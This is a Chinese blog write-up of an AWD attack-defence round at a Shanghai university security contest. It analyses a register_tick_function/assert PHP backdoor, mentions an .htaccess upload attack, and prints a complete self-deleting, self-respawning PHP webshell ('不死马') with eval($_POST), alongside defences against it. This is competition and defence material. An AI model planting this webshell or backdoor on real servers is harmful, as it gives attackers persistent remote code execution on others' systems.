[第六届上海市大学生网络安全竞赛]AWD总结

赛前准备

因为比赛刚好也临近期末,这学期课还比较多,所以赛前准备的不是特别好。只是简单的准备了几个攻击的脚本和不死马。

然后防御方面,本来也准备了通防WAF,但是看比赛现场文件是说不让用通防23333

日志监控这方面没做好,是个败笔,没抓到别队的攻击流量,导致有道题一直被打了好多轮,非常亏

比赛复现

0x1 源码备份

首先先拷贝服务器上的源码,防止被删站可以用来还原。这一步很重要,拷贝源码是你打AWD拿到ssh后首先要做的事情,当然有些比赛会直接给你题目的文件,那么就不需要自己去服务器上拷贝了

0x2 后门查杀

把源码丢到D盾里先查杀一遍,防止有后门,当然也是你可以用来攻击的一种手段。比如在这次的Web2题目中,用d盾可以直接扫描出一个后门

当然你需要手动确认后门是否可用,这次扫描到的是一个register_tick_function后门,我们具体到文件中查看一下函数

if(isset($_GET['init'])){
            $classes = array("assert"=>"project");
            $spl=array_keys($classes,'project');
            declare(ticks=1);
            register_tick_function($spl[0], $_REQUEST['loadclasses']);
        }

代码分析:

1.首先用判断GET传入的init参数是否为空来进入if函数

2.然后创建了一个关联数组,键是’assert’,值是’project’

3.然后创建了一个spl数组,返回的是classes数组中project的键名,也就是assert

4.然后就是register_tick_function函数了,这里介绍一下用法

register_tick_function函数,这是每个tick上注册一个执行函数,必须要和declare流程控制机制合并使用。Tick是一个在declare代码段中解释器每执行n条低级语句就会发生的事件。n的值是在declare中的directive部分用ticks=n来指定的,在每个tick中出现的事件是由register_tick_function()来指定的

首先用REQUEST方法接受url中loadclasses参数传递的值,然后执行declare函数和register_tick_function回调函数。每执行(ticks=1)行代码,就执行一次register_tick_function函数中的代码

5.register_tick_function可以看做一个回调函数,第二个参数,就是为该回调的函数传参用的,同时根据上面的函数我们可以知道spl[0]就是assert,此时就变成了assert($_REQUEST[‘loadclasses’]),完成了后门的调用

然后我们具体试验一下

可以看到可以成功执行

0x3 防御过程

首先是针对上面那个后门的防御,这个很简单,把密码改了就可以

本次比赛中另外一道题有一个上传的漏洞,因为环境问题不太方便复现,但是打法就是传.htaccess文件来打

由于该题上传上去的同名文件不会被覆盖,导致当一个队被传了某个队的htaccess后,其他队就无法利用这个点了

同样我们也可以用这个特性来防御,我们自己上传一个安全的htaccess文件,那么别的队伍就无法用这个来打我们(这个是当时粗略的想法,后面也没有去注意,结果发现了很严重的问题)

0x4 小插曲

之前提到的那个文件上传的漏洞,很多队伍的防御是关闭了这个功能,我们以为传了htaccess就能防住了,结果后面被某队伍传上了不死马,并且由于应对不足,一开始懵逼了,没有想到简单的处理方法,导致被拿了两轮分

不死马的防御

1.最简单的防御:创建同名文件夹,比如你被上传了.abc.php的不死马文件,那么你需要创建一个同名文件夹,就可以实现不死马的失效

2.创建同名文件,但是unsleep时间比原不死马时间小

比如我有这样一个不死马

<?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = '.abc.php';
    $code = '<?php if(md5($_GET["pass"])=="c17648a40b37f8c63b8944c85d051ad1"){@eval($_POST[peco]);} ?>';
    //pass=pass
    while (1){
        file_put_contents($file,$code);
        system('touch -m -d "2018-12-01 09:10:12" .abc.php');
        usleep(5000);
    }
?>

那么我们可以创建一个新的同名不死马,把usleep时间减小,同时把code改成无害的

<?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = '.abc.php';
    $code = 'hello !';
    //pass=pass
    while (1){
        file_put_contents($file,$code);
        system('touch -m -d "2018-12-01 09:10:12" .abc.php');
    //    usleep(5000);
          usleep(1000);
    }
?>

这样就可以实现覆盖

3.查出不死马的进程PID后,用kill -9 PID(可能会有一些问题,谨慎使用)

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇